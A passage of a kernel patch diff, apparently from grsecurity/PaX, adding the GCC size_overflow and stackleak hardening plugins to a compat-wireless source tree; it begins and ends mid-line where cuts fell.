cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1); ++ new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1); ++ } ++ ++ assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1); ++ new_lhs = gimple_get_lhs(assign); ++ check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT); ++ ++ return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE); ++} ++ ++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs) ++{ ++ const_gimple def_stmt; ++ ++ if (TREE_CODE(rhs) != SSA_NAME) ++ return false; ++ ++ if (gimple_assign_rhs_code(stmt) != PLUS_EXPR) ++ return false; ++ ++ def_stmt = get_def_stmt(rhs); ++ if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR) ++ return false; ++ ++ return true; ++} ++ ++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2) ++{ ++ tree new_rhs, size_overflow_type, orig_rhs; ++ void (*gimple_assign_set_rhs)(gimple, tree); ++ tree rhs1 = gimple_assign_rhs1(stmt); ++ tree rhs2 = gimple_assign_rhs2(stmt); ++ tree lhs = gimple_get_lhs(stmt); ++ ++ if (change_rhs == NULL_TREE) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ if (new_rhs2 == NULL_TREE) { ++ size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1); ++ new_rhs2 = cast_a_tree(size_overflow_type, rhs2); ++ orig_rhs = rhs1; ++ gimple_assign_set_rhs = &gimple_assign_set_rhs1; ++ } else { ++ size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2); ++ new_rhs1 = cast_a_tree(size_overflow_type, rhs1); ++ orig_rhs = rhs2; ++ gimple_assign_set_rhs = &gimple_assign_set_rhs2; ++ } ++ ++ change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT); ++ ++ if (check_overflow) ++ check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT); ++ ++ new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs); ++ gimple_assign_set_rhs(stmt, new_rhs); ++ update_stmt(stmt); ++ ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++} ++ ++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ tree rhs1, rhs2, new_lhs; ++ gimple def_stmt = get_def_stmt(lhs); ++ tree new_rhs1 = NULL_TREE; ++ tree new_rhs2 = NULL_TREE; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ ++ /* no DImode/TImode division in the 32/64 bit kernel */ ++ switch (gimple_assign_rhs_code(def_stmt)) { ++ case RDIV_EXPR: ++ case TRUNC_DIV_EXPR: ++ case CEIL_DIV_EXPR: ++ case FLOOR_DIV_EXPR: ++ case ROUND_DIV_EXPR: ++ case TRUNC_MOD_EXPR: ++ case CEIL_MOD_EXPR: ++ case FLOOR_MOD_EXPR: ++ case ROUND_MOD_EXPR: ++ case EXACT_DIV_EXPR: ++ case POINTER_PLUS_EXPR: ++ case BIT_AND_EXPR: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ default: ++ break; ++ } ++ ++ new_lhs = handle_integer_truncation(visited, lhs); ++ if (new_lhs != NULL_TREE) ++ return new_lhs; ++ ++ if (TREE_CODE(rhs1) == SSA_NAME) ++ new_rhs1 = expand(visited, rhs1); ++ if (TREE_CODE(rhs2) == SSA_NAME) ++ new_rhs2 = expand(visited, rhs2); ++ ++ if (is_a_neg_overflow(def_stmt, rhs2)) ++ return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE); ++ if (is_a_neg_overflow(def_stmt, rhs1)) ++ return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2); ++ ++ if (is_a_constant_overflow(def_stmt, rhs2)) ++ return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE); ++ if (is_a_constant_overflow(def_stmt, rhs1)) ++ return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2); ++ ++ return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE); ++} ++ ++#if BUILDING_GCC_VERSION >= 4007 ++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs) ++{ ++ if (is_gimple_constant(rhs)) ++ return cast_a_tree(size_overflow_type, rhs); ++ if (TREE_CODE(rhs) != SSA_NAME) ++ return NULL_TREE; ++ return expand(visited, rhs); ++} ++ ++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type; ++ gimple def_stmt = get_def_stmt(lhs); ++ ++ size_overflow_type = get_size_overflow_type(def_stmt, lhs); ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ rhs3 = gimple_assign_rhs3(def_stmt); ++ new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1); ++ new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2); ++ new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3); ++ ++ return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3); ++} ++#endif ++ ++static tree get_size_overflow_type(gimple stmt, const_tree node) ++{ ++ const_tree type; ++ ++ gcc_assert(node != NULL_TREE); ++ ++ type = TREE_TYPE(node); ++ ++ if (gimple_plf(stmt, MY_STMT)) ++ return TREE_TYPE(node); ++ ++ switch (TYPE_MODE(type)) { ++ case QImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node; ++ case HImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node; ++ case SImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node; ++ case DImode: ++ if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode)) ++ return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node; ++ return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node; ++ default: ++ debug_tree((tree)node); ++ error("%s: unsupported gcc configuration.", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static tree expand_visited(gimple def_stmt) ++{ ++ const_gimple next_stmt; ++ gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt); ++ ++ gsi_next(&gsi); ++ next_stmt = gsi_stmt(gsi); ++ ++ gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT)); ++ ++ switch (gimple_code(next_stmt)) { ++ case GIMPLE_ASSIGN: ++ return gimple_get_lhs(next_stmt); ++ case GIMPLE_PHI: ++ return gimple_phi_result(next_stmt); ++ case GIMPLE_CALL: ++ return gimple_call_lhs(next_stmt); ++ default: ++ return NULL_TREE; ++ } ++} ++ ++static tree expand(struct pointer_set_t *visited, tree lhs) ++{ ++ gimple def_stmt; ++ enum tree_code code = TREE_CODE(TREE_TYPE(lhs)); ++ ++ if (is_gimple_constant(lhs)) ++ return NULL_TREE; ++ ++ if (TREE_CODE(lhs) == ADDR_EXPR) ++ return NULL_TREE; ++ ++ if (code == REAL_TYPE) ++ return NULL_TREE; ++ ++ gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE); ++ ++ ++ def_stmt = get_def_stmt(lhs); ++ ++ if (!def_stmt) ++ return NULL_TREE; ++ ++ if (gimple_plf(def_stmt, MY_STMT)) ++ return lhs; ++ ++ if (pointer_set_contains(visited, def_stmt)) ++ return expand_visited(def_stmt); ++ ++ switch (gimple_code(def_stmt)) { ++ case GIMPLE_NOP: ++ return NULL_TREE; ++ case GIMPLE_PHI: ++ return build_new_phi(visited, lhs); ++ case GIMPLE_CALL: ++ case GIMPLE_ASM: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ case GIMPLE_ASSIGN: ++ switch (gimple_num_ops(def_stmt)) { ++ case 2: ++ return handle_unary_ops(visited, lhs); ++ case 3: ++ return handle_binary_ops(visited, lhs); ++#if BUILDING_GCC_VERSION >= 4007 ++ case 4: ++ return handle_ternary_ops(visited, lhs); ++#endif ++ } ++ default: ++ debug_gimple_stmt(def_stmt); ++ error("%s: unknown gimple code", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree origtype = TREE_TYPE(origarg); ++ ++ gcc_assert(gimple_code(stmt) == GIMPLE_CALL); ++ ++ assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ ++ gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign)); ++ update_stmt(stmt); ++} ++ ++static bool get_function_arg(unsigned int* argnum, const_tree fndecl) ++{ ++ const char *origid; ++ tree arg; ++ const_tree origarg; ++ ++ if (!DECL_ABSTRACT_ORIGIN(fndecl)) ++ return true; ++ ++ origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl)); ++ while (origarg && *argnum) { ++ (*argnum)--; ++ origarg = TREE_CHAIN(origarg); ++ } ++ ++ gcc_assert(*argnum == 0); ++ ++ gcc_assert(origarg != NULL_TREE); ++ origid = NAME(origarg); ++ *argnum = 0; ++ for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) { ++ if (!strcmp(origid, NAME(arg))) ++ return true; ++ (*argnum)++; ++ } ++ return false; ++} ++ ++static bool skip_types(const_tree var) ++{ ++ switch (TREE_CODE(var)) { ++ case ADDR_EXPR: ++#if BUILDING_GCC_VERSION >= 4006 ++ case MEM_REF: ++#endif ++ case ARRAY_REF: ++ case BIT_FIELD_REF: ++ case INDIRECT_REF: ++ case TARGET_MEM_REF: ++ case VAR_DECL: ++ return true; ++ default: ++ break; ++ } ++ return false; ++} ++ ++static bool walk_phi(struct pointer_set_t *visited, const_tree result) ++{ ++ gimple phi = get_def_stmt(result); ++ unsigned int i, n = gimple_phi_num_args(phi); ++ ++ if (!phi) ++ return false; ++ ++ pointer_set_insert(visited, phi); ++ for (i = 0; i < n; i++) { ++ const_tree arg = gimple_phi_arg_def(phi, i); ++ if (pre_expand(visited, arg)) ++ return true; ++ } ++ return false; ++} ++ ++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs) ++{ ++ gimple def_stmt = get_def_stmt(lhs); ++ const_tree rhs; ++ ++ if (!def_stmt) ++ return false; ++ ++ rhs = gimple_assign_rhs1(def_stmt); ++ if (pre_expand(visited, rhs)) ++ return true; ++ return false; ++} ++ ++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs) ++{ ++ bool rhs1_found, rhs2_found; ++ gimple def_stmt = get_def_stmt(lhs); ++ const_tree rhs1, rhs2; ++ ++ if (!def_stmt) ++ return false; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ rhs1_found = pre_expand(visited, rhs1); ++ rhs2_found = pre_expand(visited, rhs2); ++ ++ return rhs1_found || rhs2_found; ++} ++ ++static const_tree search_field_decl(const_tree comp_ref) ++{ ++ const_tree field = NULL_TREE; ++ unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref); ++ ++ for (i = 0; i < len; i++) { ++ field = TREE_OPERAND(comp_ref, i); ++ if (TREE_CODE(field) == FIELD_DECL) ++ break; ++ } ++ gcc_assert(TREE_CODE(field) == FIELD_DECL); ++ return field; ++} ++ ++static enum marked mark_status(const_tree fndecl, unsigned int argnum) ++{ ++ const_tree attr, p; ++ ++ attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl)); ++ if (!attr || !TREE_VALUE(attr)) ++ return MARKED_NO; ++ ++ p = TREE_VALUE(attr); ++ if (!TREE_INT_CST_LOW(TREE_VALUE(p))) ++ return MARKED_NOT_INTENTIONAL; ++ ++ do { ++ if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p))) ++ return MARKED_YES; ++ p = TREE_CHAIN(p); ++ } while (p); ++ ++ return MARKED_NO; ++} ++ ++static void print_missing_msg(tree func, unsigned int argnum) ++{ ++ unsigned int new_hash; ++ size_t len; ++ unsigned char tree_codes[CODES_LIMIT]; ++ location_t loc = DECL_SOURCE_LOCATION(func); ++ const char *curfunc = get_asm_name(func); ++ ++ len = get_function_decl(func, tree_codes); ++ new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0); ++ inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash); ++} ++ ++static unsigned int search_missing_attribute(const_tree arg) ++{ ++ const_tree type = TREE_TYPE(arg); ++ tree func = get_original_function_decl(current_function_decl); ++ unsigned int argnum; ++ const struct size_overflow_hash *hash; ++ ++ gcc_assert(TREE_CODE(arg) != COMPONENT_REF); ++ ++ if (TREE_CODE(type) == POINTER_TYPE) ++ return 0; ++ ++ argnum = find_arg_number(arg, func); ++ if (argnum == 0) ++ return 0; ++ ++ if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func))) ++ return argnum; ++ ++ hash = get_function_hash(func); ++ if (!hash || !(hash->param & (1U << argnum))) { ++ print_missing_msg(func, argnum); ++ return 0; ++ } ++ return argnum; ++} ++ ++static bool is_already_marked(const_tree lhs) ++{ ++ unsigned int argnum; ++ const_tree fndecl; ++ ++ argnum = search_missing_attribute(lhs); ++ fndecl = get_original_function_decl(current_function_decl); ++ if (argnum && mark_status(fndecl, argnum) == MARKED_YES) ++ return true; ++ return false; ++} ++ ++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs) ++{ ++ const_gimple def_stmt; ++ ++ if (is_gimple_constant(lhs)) ++ return false; ++ ++ if (skip_types(lhs)) ++ return false; ++ ++ if (TREE_CODE(lhs) == PARM_DECL) ++ return is_already_marked(lhs); ++ ++ if (TREE_CODE(lhs) == COMPONENT_REF) { ++ const_tree field, attr; ++ ++ field = search_field_decl(lhs); ++ attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field)); ++ if (!attr || !TREE_VALUE(attr)) ++ return false; ++ return true; ++ } ++ ++ def_stmt = get_def_stmt(lhs); ++ ++ if (!def_stmt) ++ return false; ++ ++ if (pointer_set_contains(visited, def_stmt)) ++ return false; ++ ++ switch (gimple_code(def_stmt)) { ++ case GIMPLE_NOP: ++ if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL) ++ return is_already_marked(lhs); ++ return false; ++ case GIMPLE_PHI: ++ return walk_phi(visited, lhs); ++ case GIMPLE_CALL: ++ case GIMPLE_ASM: ++ return false; ++ case GIMPLE_ASSIGN: ++ switch (gimple_num_ops(def_stmt)) { ++ case 2: ++ return walk_unary_ops(visited, lhs); ++ case 3: ++ return walk_binary_ops(visited, lhs); ++ } ++ default: ++ debug_gimple_stmt((gimple)def_stmt); ++ error("%s: unknown gimple code", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum) ++{ ++ struct pointer_set_t *visited; ++ bool is_found; ++ enum marked is_marked; ++ location_t loc; ++ ++ visited = pointer_set_create(); ++ is_found = pre_expand(visited, arg); ++ pointer_set_destroy(visited); ++ ++ is_marked = mark_status(fndecl, argnum + 1); ++ if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL) ++ return true; ++ ++ if (is_found) { ++ loc = DECL_SOURCE_LOCATION(fndecl); ++ inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1); ++ return true; ++ } ++ return false; ++} ++ ++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum) ++{ ++ struct pointer_set_t *visited; ++ tree arg, newarg; ++ bool match; ++ ++ match = get_function_arg(&argnum, fndecl); ++ if (!match) ++ return; ++ gcc_assert(gimple_call_num_args(stmt) > argnum); ++ arg = gimple_call_arg(stmt, argnum); ++ if (arg == NULL_TREE) ++ return; ++ ++ if (is_gimple_constant(arg)) ++ return; ++ ++ if (search_attributes(fndecl, arg, argnum)) ++ return; ++ ++ if (TREE_CODE(arg) != SSA_NAME) ++ return; ++ ++ check_arg_type(arg); ++ ++ visited = pointer_set_create(); ++ newarg = expand(visited, arg); ++ pointer_set_destroy(visited); ++ ++ if (newarg == NULL_TREE) ++ return; ++ ++ change_function_arg(stmt, arg, argnum, newarg); ++ ++ check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT); ++} ++ ++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl) ++{ ++ tree p = TREE_VALUE(attr); ++ do { ++ handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1); ++ p = TREE_CHAIN(p); ++ } while (p); ++} ++ ++static void handle_function_by_hash(gimple stmt, tree fndecl) ++{ ++ tree orig_fndecl; ++ unsigned int num; ++ const struct size_overflow_hash *hash; ++ ++ orig_fndecl = get_original_function_decl(fndecl); ++ if (C_DECL_IMPLICIT(orig_fndecl)) ++ return; ++ hash = get_function_hash(orig_fndecl); ++ if (!hash) ++ return; ++ ++ for (num = 1; num <= MAX_PARAM; num++) ++ if (hash->param & (1U << num)) ++ handle_function_arg(stmt, fndecl, num - 1); ++} ++ ++static void set_plf_false(void) ++{ ++ basic_block bb; ++ ++ FOR_ALL_BB(bb) { ++ gimple_stmt_iterator si; ++ ++ for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si)) ++ gimple_set_plf(gsi_stmt(si), MY_STMT, false); ++ for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si)) ++ gimple_set_plf(gsi_stmt(si), MY_STMT, false); ++ } ++} ++ ++static unsigned int handle_function(void) ++{ ++ basic_block next, bb = ENTRY_BLOCK_PTR->next_bb; ++ ++ set_plf_false(); ++ ++ do { ++ gimple_stmt_iterator gsi; ++ next = bb->next_bb; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ tree fndecl, attr; ++ gimple stmt = gsi_stmt(gsi); ++ ++ if (!(is_gimple_call(stmt))) ++ continue; ++ fndecl = gimple_call_fndecl(stmt); ++ if (fndecl == NULL_TREE) ++ continue; ++ if (gimple_call_num_args(stmt) == 0) ++ continue; ++ attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl)); ++ if (!attr || !TREE_VALUE(attr)) ++ handle_function_by_hash(stmt, fndecl); ++ else ++ handle_function_by_attribute(stmt, attr, fndecl); ++ gsi = gsi_for_stmt(stmt); ++ next = gimple_bb(stmt)->next_bb; ++ } ++ bb = next; ++ } while (bb); ++ return 0; ++} ++ ++static struct gimple_opt_pass size_overflow_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "size_overflow", ++ .gate = NULL, ++ .execute = handle_function, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_cfg | PROP_referenced_vars, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow ++ } ++}; ++ ++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data) ++{ ++ tree fntype; ++ ++ const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0)); ++ ++ // void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var) ++ fntype = build_function_type_list(void_type_node, ++ const_char_ptr_type_node, ++ unsigned_type_node, ++ const_char_ptr_type_node, ++ const_char_ptr_type_node, ++ NULL_TREE); ++ report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype); ++ ++ DECL_ASSEMBLER_NAME(report_size_overflow_decl); ++ TREE_PUBLIC(report_size_overflow_decl) = 1; ++ DECL_EXTERNAL(report_size_overflow_decl) = 1; ++ DECL_ARTIFICIAL(report_size_overflow_decl) = 1; ++ TREE_THIS_VOLATILE(report_size_overflow_decl) = 1; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ int i; ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ bool enable = true; ++ ++ struct register_pass_info size_overflow_pass_info = { ++ .pass = &size_overflow_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "no-size-overflow")) { ++ enable = false; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info); ++ if (enable) { ++ register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info); ++ } ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c 2012-10-15 19:11:12.875824568 +0000 +@@ -0,0 +1,313 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to help implement various PaX features ++ * ++ * - track lowest stack pointer ++ * ++ * TODO: ++ * - initialize all local variables ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++ ++int plugin_is_GPL_compatible; ++ ++static int track_frame_size = -1; ++static const char track_function[] = "pax_track_stack"; ++static const char check_function[] = "pax_check_alloca"; ++static bool init_locals; ++ ++static struct plugin_info stackleak_plugin_info = { ++ .version = "201203140940", ++ .help = "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n" ++// "initialize-locals\t\tforcibly initialize all stack frames\n" ++}; ++ ++static bool gate_stackleak_track_stack(void); ++static unsigned int execute_stackleak_tree_instrument(void); ++static unsigned int execute_stackleak_final(void); ++ ++static struct gimple_opt_pass stackleak_tree_instrument_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "stackleak_tree_instrument", ++ .gate = gate_stackleak_track_stack, ++ .execute = execute_stackleak_tree_instrument, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_gimple_leh | PROP_cfg, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa ++ } ++}; ++ ++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = { ++ .pass = { ++ .type = RTL_PASS, ++ .name = "stackleak_final", ++ .gate = gate_stackleak_track_stack, ++ .execute = execute_stackleak_final, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_dump_func ++ } ++}; ++ ++static bool gate_stackleak_track_stack(void) ++{ ++ return track_frame_size >= 0; ++} ++ ++static void stackleak_check_alloca(gimple_stmt_iterator *gsi) ++{ ++ gimple check_alloca; ++ tree fntype, fndecl, alloca_size; ++ ++ fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE); ++ fndecl = build_fn_decl(check_function, fntype); ++ DECL_ASSEMBLER_NAME(fndecl); // for LTO ++ ++ // insert call to void pax_check_alloca(unsigned long size) ++ alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0); ++ check_alloca = gimple_build_call(fndecl, 1, alloca_size); ++ gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT); ++} ++ ++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi) ++{ ++ gimple track_stack; ++ tree fntype, fndecl; ++ ++ fntype = build_function_type_list(void_type_node, NULL_TREE); ++ fndecl = build_fn_decl(track_function, fntype); ++ DECL_ASSEMBLER_NAME(fndecl); // for LTO ++ ++ // insert call to void pax_track_stack(void) ++ track_stack = gimple_build_call(fndecl, 0); ++ gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING); ++} ++ ++#if BUILDING_GCC_VERSION == 4005 ++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code) ++{ ++ tree fndecl; ++ ++ if (!is_gimple_call(stmt)) ++ return false; ++ fndecl = gimple_call_fndecl(stmt); ++ if (!fndecl) ++ return false; ++ if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL) ++ return false; ++// print_node(stderr, "pax", fndecl, 4); ++ return DECL_FUNCTION_CODE(fndecl) == code; ++} ++#endif ++ ++static bool is_alloca(gimple stmt) ++{ ++ if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA)) ++ return true; ++ ++#if BUILDING_GCC_VERSION >= 4007 ++ if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN)) ++ return true; ++#endif ++ ++ return false; ++} ++ ++static unsigned int execute_stackleak_tree_instrument(void) ++{ ++ basic_block bb, entry_bb; ++ bool prologue_instrumented = false, is_leaf = true; ++ ++ entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ gimple stmt; ++ ++ stmt = gsi_stmt(gsi); ++ ++ if (is_gimple_call(stmt)) ++ is_leaf = false; ++ ++ // gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes ++ if (!is_alloca(stmt)) ++ continue; ++ ++ // 2. insert stack overflow check before each __builtin_alloca call ++ stackleak_check_alloca(&gsi); ++ ++ // 3. insert track call after each __builtin_alloca call ++ stackleak_add_instrumentation(&gsi); ++ if (bb == entry_bb) ++ prologue_instrumented = true; ++ } ++ } ++ ++ // special cases for some bad linux code: taking the address of static inline functions will materialize them ++ // but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI ++ // will break other assumptions regarding the expected (but not otherwise enforced) register clobbering ABI. ++ // case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here. ++ if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl)) ++ return 0; ++ if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10)) ++ return 0; ++ ++ // 4. insert track call at the beginning ++ if (!prologue_instrumented) { ++ gimple_stmt_iterator gsi; ++ ++ bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR); ++ gsi = gsi_start_bb(bb); ++ stackleak_add_instrumentation(&gsi); ++ } ++ ++ return 0; ++} ++ ++static unsigned int execute_stackleak_final(void) ++{ ++ rtx insn; ++ ++ if (cfun->calls_alloca) ++ return 0; ++ ++ // keep calls only if function frame is big enough ++ if (get_frame_size() >= track_frame_size) ++ return 0; ++ ++ // 1. find pax_track_stack calls ++ for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) { ++ // rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] ) [0 S1 A8]) (4)) -1 (nil) (nil)) ++ rtx body; ++ ++ if (!CALL_P(insn)) ++ continue; ++ body = PATTERN(insn); ++ if (GET_CODE(body) != CALL) ++ continue; ++ body = XEXP(body, 0); ++ if (GET_CODE(body) != 